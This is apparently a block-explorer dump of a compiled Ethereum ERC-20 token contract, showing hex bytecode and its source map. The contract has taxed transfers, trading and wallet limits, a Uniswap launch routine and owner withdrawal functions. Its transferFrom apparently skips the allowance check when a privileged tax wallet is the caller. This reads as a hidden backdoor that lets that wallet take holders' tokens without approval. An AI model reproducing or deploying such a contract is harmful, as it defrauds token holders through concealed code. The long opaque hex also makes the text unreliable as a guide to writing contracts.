1f8201168201806040525081019061071391906117ff565b50505050565b5f6103d2338484610cd7565b5f546001600160a01b0316331461074e5760405162461bcd60e51b81526004016104d4906117b3565b5f4711610759575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610790573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107bc5760405162461bcd60e51b81526004016104d4906117b3565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146107fe5760405162461bcd60e51b81526004016104d4906117b3565b601254600160a01b900460ff16156108585760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d4565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108a29030906108936009600a61178e565b61049b906461f313f88061179c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610916919061181e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610975573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610999919061181e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a07919061181e565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a4e816001600160a01b03165f9081526001602052604090205490565b5f80610a615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac7573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aec9190611839565b50506012546001600160a01b03169050610b04575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7a91906117ff565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610c165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d4565b6001600160a01b038216610c775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d4565b6001600160a01b038216610d9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d4565b5f8111610dfe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d4565b5f80546001600160a01b03858116911614801590610e2957505f546001600160a01b03848116911614155b156110d6576012546001600160a01b0390811690851603610e6d57610e6a606461067d600954600c5411610e5f57600554610e63565b6007545b859061124b565b90505b6012546001600160a01b038581169116148015610e9857506011546001600160a01b03848116911614155b8015610ebc57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ff257601254600160a01b900460ff16610f115760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016104d4565b600d54821115610f635760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d4565b600e5482610f85856001600160a01b03165f9081526001602052604090205490565b610f8f9190611864565b1115610fdd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d4565b600c8054905f610fec83611877565b91905055505b6012546001600160a01b03848116911614801561101857506001600160a01b0384163014155b1561104557611042606461067d600a54600c541161103857600654610e63565b600854859061124b565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561107b57506012546001600160a01b038581169116145b80156110905750601254600160b01b900460ff165b801561109f5750600b54600c54115b156110d457600f548111156110cb576110cb6110c6846110c18460105461130a565b61130a565b61131e565b6110d44761148e565b505b801561114e57305f908152600160205260409020546110f590826114c9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111459085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111709083611527565b6001600160a01b0385165f908152600160205260409020556111b36111958383611527565b6001600160a01b0385165f90815260016020526040902054906114c9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fc8585611527565b60405190815260200160405180910390a350505050565b5f81848411156112365760405162461bcd60e51b81526004016104d49190611594565b505f611242848661188f565b95945050505050565b5f825f0361125a57505f6103d6565b5f611265838561179c565b90508261127285836118a2565b146104a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d4565b5f6104a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611568565b5f81831161131857826104a4565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611364576113646118c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113df919061181e565b816001815181106113f2576113f26118c1565b6001600160a01b0392831660209182029290920101526011546114189130911684610bb4565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114509085905f908690309042906004016118d5565b5f604051808303815f87803b158015611467575f80fd5b505af1158015611479573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114c5573d5f803e3d5ffd5b5050565b5f806114d58385611864565b9050838110156104a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d4565b5f6104a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611213565b5f81836115885760405162461bcd60e51b81526004016104d49190611594565b505f61124284866118a2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610790575f80fd5b5f80604083850312156115ee575f80fd5b82356115f9816115c9565b946020939093013593505050565b5f805f60608486031215611619575f80fd5b8335611624816115c9565b92506020840135611634816115c9565b929592945050506040919091013590565b5f60208284031215611655575f80fd5b81356104a4816115c9565b5f8060408385031215611671575f80fd5b823561167c816115c9565b9150602083013561168c816115c9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116e6578085048111156116ca576116ca611697565b60018416156116d857908102905b60019390931c9280026116af565b935093915050565b5f826116fc575060016103d6565b8161170857505f6103d6565b816001811461171e576002811461172857611744565b60019150506103d6565b60ff84111561173957611739611697565b50506001821b6103d6565b5060208310610133831016604e8410600b8410161715611767575081810a6103d6565b6117735f1984846116ab565b805f190482111561178657611786611697565b029392505050565b5f6104a460ff8416836116ee565b80820281158282048414176103d6576103d6611697565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f8575f80fd5b5051919050565b5f6020828403121561180f575f80fd5b815180151581146104a4575f80fd5b5f6020828403121561182e575f80fd5b81516104a4816115c9565b5f805f6060848603121561184b575f80fd5b5050815160208301516040909301519094929350919050565b808201808211156103d6576103d6611697565b5f6001820161188857611888611697565b5060010190565b818103818111156103d6576103d6611697565b5f826118bc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119255783516001600160a01b03168352602093840193909201916001016118fe565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220087ac3a3a7a25505a43c8b24cc6b1afd32d98995a3dba3be8f70aa26169a530564736f6c634300081a0033

Deployed Bytecode Sourcemap

3699:7535:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5451:83;;;;;;;;;;-1:-1:-1;5521:5:0;;;;;;;;;;;;-1:-1:-1;;;5521:5:0;;;;5451:83;;;;;;;:::i;:::-;;;;;;;;6284:161;;;;;;;;;;-1:-1:-1;6284:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6284:161:0;945:187:1;4728:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4728:45:0;1137:177:1;5728:95:0;;;;;;;;;;;;;:::i;6453:359::-;;;;;;;;;;-1:-1:-1;6453:359:0;;;;;:::i;:::-;;:::i;5637:83::-;;;;;;;;;;-1:-1:-1;5637:83:0;;4366:1;1974:36:1;;1962:2;1947:18;5637:83:0;1832:184:1;5831:119:0;;;;;;;;;;-1:-1:-1;5831:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5924:18:0;5897:7;5924:18;;;:9;:18;;;;;;;5831:119;2677:148;;;;;;;;;;;;;:::i;:::-;;9530:160;;;;;;;;;;;;;:::i;4560:47::-;;;;;;;;;;;;;;;;9987:277;;;;;;;;;;-1:-1:-1;9987:277:0;;;;;:::i;:::-;;:::i;2463:79::-;;;;;;;;;;-1:-1:-1;2501:7:0;2528:6;2463:79;;-1:-1:-1;;;;;2528:6:0;;;2419:51:1;;2407:2;2392:18;2463:79:0;2273:203:1;4614:49:0;;;;;;;;;;;;;;;;5542:87;;;;;;;;;;-1:-1:-1;5614:7:0;;;;;;;;;;;;-1:-1:-1;;;5614:7:0;;;;5542:87;;5958:167;;;;;;;;;;-1:-1:-1;5958:167:0;;;;;:::i;:::-;;:::i;4670:51::-;;;;;;;;;;;;;;;;9817:158;;;;;;;;;;;;;:::i;9698:111::-;;;;;;;;;;;;;:::i;6133:143::-;;;;;;;;;;-1:-1:-1;6133:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6241:18:0;;;6214:7;6241:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6133:143;10272:756;;;;;;;;;;-1:-1:-1;10272:756:0;;;;;:::i;:::-;;:::i;6284:161::-;6359:4;6376:39;298:10;6399:7;6408:6;6376:8;:39::i;:::-;-1:-1:-1;6433:4:0;6284:161;;;;;:::o;5728:95::-;5781:7;4427:13;4366:1;4427:2;:13;:::i;:::-;4409:31;;:15;:31;:::i;:::-;5801:14;;5728:95;:::o;6453:359::-;6542:4;6559:27;6569:4;6575:2;6579:6;6559:9;:27::i;:::-;6594:10;;-1:-1:-1;;;;;6594:10:0;298;2914:6;6591:57;;;;;6623:25;6626:7;2501;2528:6;-1:-1:-1;;;;;2528:6:0;;2463:79;6626:7;-1:-1:-1;;;;;2914:6:0;298:10;2914:6;;2833:95;6623:25;6622:26;6591:57;6588:73;;;-1:-1:-1;6657:4:0;6650:11;;6588:73;6673:109;6682:4;6688;6694:87;6730:6;6694:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6694:17:0;;;;;;:11;:17;;;;;;;;298:10;6694:31;;;;;;;;;;:35;:87::i;:::-;6673:8;:109::i;:::-;-1:-1:-1;6800:4:0;6453:359;;;;;;:::o;2677:148::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;;;;;;;;;2784:1:::1;2768:6:::0;;2747:40:::1;::::0;-1:-1:-1;;;;;2768:6:0;;::::1;::::0;2747:40:::1;::::0;2784:1;;2747:40:::1;2815:1;2798:19:::0;;-1:-1:-1;;;;;;2798:19:0::1;::::0;;2677:148::o;9530:160::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;4427:13:::1;4366:1;4427:2;:13;:::i;:::-;4409:31;::::0;:15:::1;:31;:::i;:::-;9584:12;:22:::0;4427:13:::1;4366:1;4427:2;:13;:::i;:::-;4409:31;::::0;:15:::1;:31;:::i;:::-;9617:14;:22:::0;9655:27:::1;4427:13;4366:1;4427:2;:13;:::i;:::-;4409:31;::::0;:15:::1;:31;:::i;:::-;9655:27;::::0;1283:25:1;;;1271:2;1256:18;9655:27:0::1;;;;;;;9530:160::o:0;9987:277::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;10097:55:::1;::::0;-1:-1:-1;;;10097:55:0;;10146:4:::1;10097:55;::::0;::::1;2419:51:1::0;10079:15:0::1;::::0;10097:105:::1;::::0;10198:3:::1;::::0;10097:82:::1;::::0;10171:7;;-1:-1:-1;;;;;10097:40:0;::::1;::::0;::::1;::::0;2392:18:1;;10097:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;10079:123;;10220:8;-1:-1:-1::0;;;;;10213:25:0::1;;10239:7;2501::::0;2528:6;-1:-1:-1;;;;;2528:6:0;;2463:79;10239:7:::1;10213:43;::::0;-1:-1:-1;;;;;;10213:43:0::1;::::0;;;;;;-1:-1:-1;;;;;5399:32:1;;;10213:43:0::1;::::0;::::1;5381:51:1::0;5448:18;;;5441:34;;;5354:18;;10213:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10068:196;9987:277:::0;;:::o;5958:167::-;6036:4;6053:42;298:10;6077:9;6088:6;6053:9;:42::i;9817:158::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;9906:1:::1;9882:21;:25;9874:34;;;::::0;::::1;;2501:7:::0;2528:6;;9919:48:::1;::::0;-1:-1:-1;;;;;2528:6:0;;;;9945:21:::1;9919:48:::0;::::1;;;::::0;9945:21;;9919:48;2501:7;9919:48;9945:21;2528:6;9919:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9817:158::o:0;9698:111::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;9754:11:::1;:18:::0;;-1:-1:-1;;;;9783:18:0;-1:-1:-1;;;9783:18:0;;;9698:111::o;10272:756::-;2590:6;;-1:-1:-1;;;;;2590:6:0;298:10;2590:22;2582:67;;;;-1:-1:-1;;;2582:67:0;;;;;;;:::i;:::-;10343:11:::1;::::0;-1:-1:-1;;;10343:11:0;::::1;;;10342:12;10334:47;;;::::0;-1:-1:-1;;;10334:47:0;;5970:2:1;10334:47:0::1;::::0;::::1;5952:21:1::0;6009:2;5989:18;;;5982:30;6048:25;6028:18;;;6021:53;6091:18;;10334:47:0::1;5768:347:1::0;10334:47:0::1;10392:15;:89:::0;;-1:-1:-1;;;;;;10392:89:0::1;10437:42;10392:89:::0;;::::1;::::0;;;10492:58:::1;::::0;10509:4:::1;::::0;4427:13:::1;4366:1;4427:2;:13;:::i;:::-;4409:31;::::0;:15:::1;:31;:::i;10492:58::-;10595:15;;;;;;;;;-1:-1:-1::0;;;;;10595:15:0::1;-1:-1:-1::0;;;;;10595:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10577:55:0::1;;10641:4;10648:15;;;;;;;;;-1:-1:-1::0;;;;;10648:15:0::1;-1:-1:-1::0;;;;;10648:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10577:94;::::0;-1:-1:-1;;;;;;10577:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6568:32:1;;;10577:94:0::1;::::0;::::1;6550:51:1::0;6637:32;;6617:18;;;6610:60;6523:18;;10577:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10561:13;:110:::0;;-1:-1:-1;;;;;10561:110:0;;::::1;-1:-1:-1::0;;;;;;10561:110:0;;::::1;;::::0;;10682:15:::1;::::0;::::1;:31;10721:21;10752:4;10758:24;10752:4:::0;-1:-1:-1;;;;;5924:18:0;5897:7;5924:18;;;:9;:18;;;;;;;5831:119;10758:24:::1;10783:1;10785::::0;10787:7:::1;2501::::0;2528:6;-1:-1:-1;;;;;2528:6:0;;2463:79;10787:7:::1;10682:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10682:129:0;;;-1:-1:-1;;;;;7002:32:1;;;10682:129:0::1;::::0;::::1;6984:51:1::0;7051:18;;;7044:34;;;;7094:18;;;7087:34;;;;7137:18;;;7130:34;7201:32;;;7180:19;;;7173:61;10795:15:0::1;7250:19:1::0;;;7243:35;6956:19;;10682:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10830:13:0::1;::::0;-1:-1:-1;;;;;10830:13:0::1;::::0;-1:-1:-1;10822:36:0::1;;;::::0;::::1;;10876:13;::::0;10907:15:::1;::::0;10869:71:::1;::::0;-1:-1:-1;;;10869:71:0;;-1:-1:-1;;;;;10907:15:0;;::::1;10869:71;::::0;::::1;5381:51:1::0;-1:-1:-1;;5448:18:1;;;5441:34;10876:13:0;::::1;::::0;10869:29:::1;::::0;5354:18:1;;10869:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10951:10:0::1;:26:::0;;-1:-1:-1;;;;;10951:26:0;;::::1;-1:-1:-1::0;;;;;;10951:26:0;;::::1;::::0;::::1;::::0;;:10:::1;10988:25:::0;;;:19:::1;:25;::::0;;;;:32;;-1:-1:-1;;10988:32:0::1;10951:26:::0;10988:32:::1;::::0;;10272:756::o;6824:335::-;-1:-1:-1;;;;;6917:19:0;;6909:68;;;;-1:-1:-1;;;6909:68:0;;7952:2:1;6909:68:0;;;7934:21:1;7991:2;7971:18;;;7964:30;8030:34;8010:18;;;8003:62;-1:-1:-1;;;8081:18:1;;;8074:34;8125:19;;6909:68:0;7750:400:1;6909:68:0;-1:-1:-1;;;;;6996:21:0;;6988:68;;;;-1:-1:-1;;;6988:68:0;;8357:2:1;6988:68:0;;;8339:21:1;8396:2;8376:18;;;8369:30;8435:34;8415:18;;;8408:62;-1:-1:-1;;;8486:18:1;;;8479:32;8528:19;;6988:68:0;8155:398:1;6988:68:0;-1:-1:-1;;;;;7067:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7119:32;;1283:25:1;;;7119:32:0;;1256:18:1;7119:32:0;;;;;;;6824:335;;;:::o;7204:1835::-;-1:-1:-1;;;;;7292:18:0;;7284:68;;;;-1:-1:-1;;;7284:68:0;;8760:2:1;7284:68:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:35;8934:19;;7284:68:0;8558:401:1;7284:68:0;-1:-1:-1;;;;;7371:16:0;;7363:64;;;;-1:-1:-1;;;7363:64:0;;9166:2:1;7363:64:0;;;9148:21:1;9205:2;9185:18;;;9178:30;9244:34;9224:18;;;9217:62;-1:-1:-1;;;9295:18:1;;;9288:33;9338:19;;7363:64:0;8964:399:1;7363:64:0;7455:1;7446:6;:10;7438:64;;;;-1:-1:-1;;;7438:64:0;;9570:2:1;7438:64:0;;;9552:21:1;9609:2;9589:18;;;9582:30;9648:34;9628:18;;;9621:62;-1:-1:-1;;;9699:18:1;;;9692:39;9748:19;;7438:64:0;9368:405:1;7438:64:0;7513:17;2528:6;;-1:-1:-1;;;;;7547:15:0;;;2528:6;;7547:15;;;;:32;;-1:-1:-1;2501:7:0;2528:6;-1:-1:-1;;;;;7566:13:0;;;2528:6;;7566:13;;7547:32;7543:1140;;;7607:13;;-1:-1:-1;;;;;7607:13:0;;;7599:21;;;;7596:131;;7651:76;7723:3;7651:67;7673:15;;7663:9;;:25;7662:55;;7703:14;;7662:55;;;7690:12;;7662:55;7651:6;;:10;:67::i;:76::-;7639:88;;7596:131;7756:13;;-1:-1:-1;;;;;7748:21:0;;;7756:13;;7748:21;:55;;;;-1:-1:-1;7787:15:0;;-1:-1:-1;;;;;7773:30:0;;;7787:15;;7773:30;;7748:55;:84;;;;-1:-1:-1;;;;;;7809:23:0;;;;;;:19;:23;;;;;;;;7807:25;7748:84;7744:376;;;7862:11;;-1:-1:-1;;;7862:11:0;;;;7854:43;;;;-1:-1:-1;;;7854:43:0;;9980:2:1;7854:43:0;;;9962:21:1;10019:2;9999:18;;;9992:30;-1:-1:-1;;;10038:18:1;;;10031:50;10098:18;;7854:43:0;9778:344:1;7854:43:0;7934:12;;7924:6;:22;;7916:60;;;;-1:-1:-1;;;7916:60:0;;10329:2:1;7916:60:0;;;10311:21:1;10368:2;10348:18;;;10341:30;10407:27;10387:18;;;10380:55;10452:18;;7916:60:0;10127:349:1;7916:60:0;8029:14;;8019:6;8003:13;8013:2;-1:-1:-1;;;;;5924:18:0;5897:7;5924:18;;;:9;:18;;;;;;;5831:119;8003:13;:22;;;;:::i;:::-;:40;;7995:79;;;;-1:-1:-1;;;7995:79:0;;10813:2:1;7995:79:0;;;10795:21:1;10852:2;10832:18;;;10825:30;10891:28;10871:18;;;10864:56;10937:18;;7995:79:0;10611:350:1;7995:79:0;8093:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7744:376;8145:13;;-1:-1:-1;;;;;8139:19:0;;;8145:13;;8139:19;:43;;;;-1:-1:-1;;;;;;8162:20:0;;8177:4;8162:20;;8139:43;8136:174;;;8215:79;8290:3;8215:70;8237:16;;8227:9;;:26;8226:58;;8269:15;;8226:58;;;8255:13;;8215:6;;:10;:70::i;:79::-;8203:91;;8136:174;8375:4;8326:28;5924:18;;;:9;:18;;;;;;8401:6;;-1:-1:-1;;;8401:6:0;;;;8400:7;:30;;;;-1:-1:-1;8417:13:0;;-1:-1:-1;;;;;8411:19:0;;;8417:13;;8411:19;8400:30;:45;;;;-1:-1:-1;8434:11:0;;-1:-1:-1;;;8434:11:0;;;;8400:45;:79;;;;;8461:18;;8449:9;;:30;8400:79;8396:276;;;8526:17;;8503:20;:40;8500:106;;;8545:61;8554:51;8558:6;8566:38;8570:20;8592:11;;8566:3;:38::i;:::-;8554:3;:51::i;:::-;8545:8;:61::i;:::-;8625:31;8634:21;8625:8;:31::i;:::-;7581:1102;7543:1140;8698:11;;8695:161;;8766:4;8748:24;;;;:9;:24;;;;;;:39;;8777:9;8748:28;:39::i;:::-;8741:4;8723:24;;;;:9;:24;;;;;;;:64;;;;8805:39;;-1:-1:-1;;;;;8805:39:0;;;;;;;8834:9;1283:25:1;;1271:2;1256:18;;1137:177;8805:39:0;;;;;;;;8695:161;-1:-1:-1;;;;;8882:15:0;;;;;;:9;:15;;;;;;:27;;8902:6;8882:19;:27::i;:::-;-1:-1:-1;;;;;8866:15:0;;;;;;:9;:15;;;;;:43;8934:40;8952:21;:6;8963:9;8952:10;:21::i;:::-;-1:-1:-1;;;;;8934:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8920:13:0;;;;;;;:9;:13;;;;;:54;;;;8990:41;;;9009:21;:6;9020:9;9009:10;:21::i;:::-;8990:41;;1283:25:1;;;1271:2;1256:18;8990:41:0;;;;;;;7273:1766;7204:1835;;;:::o;1355:190::-;1441:7;1477:12;1469:6;;;;1461:29;;;;-1:-1:-1;;;1461:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1501:9:0;1513:5;1517:1;1513;:5;:::i;:::-;1501:17;1355:190;-1:-1:-1;;;;;1355:190:0:o;1553:246::-;1611:7;1635:1;1640;1635:6;1631:47;;-1:-1:-1;1665:1:0;1658:8;;1631:47;1688:9;1700:5;1704:1;1700;:5;:::i;:::-;1688:17;-1:-1:-1;1733:1:0;1724:5;1728:1;1688:17;1724:5;:::i;:::-;:10;1716:56;;;;-1:-1:-1;;;1716:56:0;;11663:2:1;1716:56:0;;;11645:21:1;11702:2;11682:18;;;11675:30;11741:34;11721:18;;;11714:62;-1:-1:-1;;;11792:18:1;;;11785:31;11833:19;;1716:56:0;11461:397:1;1807:132:0;1865:7;1892:39;1896:1;1899;1892:39;;;;;;;;;;;;;;;;;:3;:39::i;11036:99::-;11093:7;11121:1;11119;:3;11118:9;;11126:1;11118:9;;;-1:-1:-1;11124:1:0;11036:99;-1:-1:-1;11036:99:0:o;9047:475::-;5057:6;:13;;-1:-1:-1;;;;5057:13:0;-1:-1:-1;;;5057:13:0;;;9141:16:::1;::::0;;9155:1:::1;9141:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9141:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9141:16:0::1;9117:40;;9186:4;9168;9173:1;9168:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9168:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9212:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9212:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9168:7;;9212:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9202:4;9207:1;9202:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9202:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9277:15:::1;::::0;9245:62:::1;::::0;9262:4:::1;::::0;9277:15:::1;9295:11:::0;9245:8:::1;:62::i;:::-;9318:15;::::0;:196:::1;::::0;-1:-1:-1;;;9318:196:0;;-1:-1:-1;;;;;9318:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9399:11;;9318:15:::1;::::0;9441:4;;9468::::1;::::0;9488:15:::1;::::0;9318:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5093:6:0;:14;;-1:-1:-1;;;;5093:14:0;;;-1:-1:-1;;;;9047:475:0:o;11143:88::-;11196:10;;:27;;-1:-1:-1;;;;;11196:10:0;;;;:27;;;;;11216:6;;11196:10;:27;:10;:27;11216:6;11196:10;:27;;;;;;;;;;;;;;;;;;;;;11143:88;:::o;1024:179::-;1082:7;;1114:5;1118:1;1114;:5;:::i;:::-;1102:17;;1143:1;1138;:6;;1130:46;;;;-1:-1:-1;;;1130:46:0;;13293:2:1;1130:46:0;;;13275:21:1;13332:2;13312:18;;;13305:30;13371:29;13351:18;;;13344:57;13418:18;;1130:46:0;13091:351:1;1211:136:0;1269:7;1296:43;1300:1;1303;1296:43;;;;;;;;;;;;;;;;;:3;:43::i;1947:189::-;2033:7;2068:12;2061:5;2053:28;;;;-1:-1:-1;;;2053:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2092:9:0;2104:5;2108:1;2104;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980: